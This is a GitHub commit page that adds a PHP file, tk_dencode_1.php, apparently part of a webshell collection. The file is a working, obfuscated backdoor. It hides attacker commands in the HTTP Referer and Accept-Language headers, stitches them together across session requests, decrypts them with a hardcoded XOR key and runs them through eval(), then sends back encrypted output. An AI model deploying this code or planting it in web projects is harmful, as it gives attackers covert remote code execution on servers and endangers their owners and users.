Create tk_dencode_1.php

This commit is contained in:
tennc 2017-08-21 12:11:13 +08:00 committed by GitHub
parent f429c6231d
commit a625a73706

52
php/tk_dencode_1.php Normal file
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@ -0,0 +1,52 @@
<?php $kh = "3481";
$kf = "9d7b";
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0;$i < $l;) {
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
$o.= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s = & $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][1];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i].= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print ("<$k>$d</$k>");
@session_destroy();
}
}
}
};
?>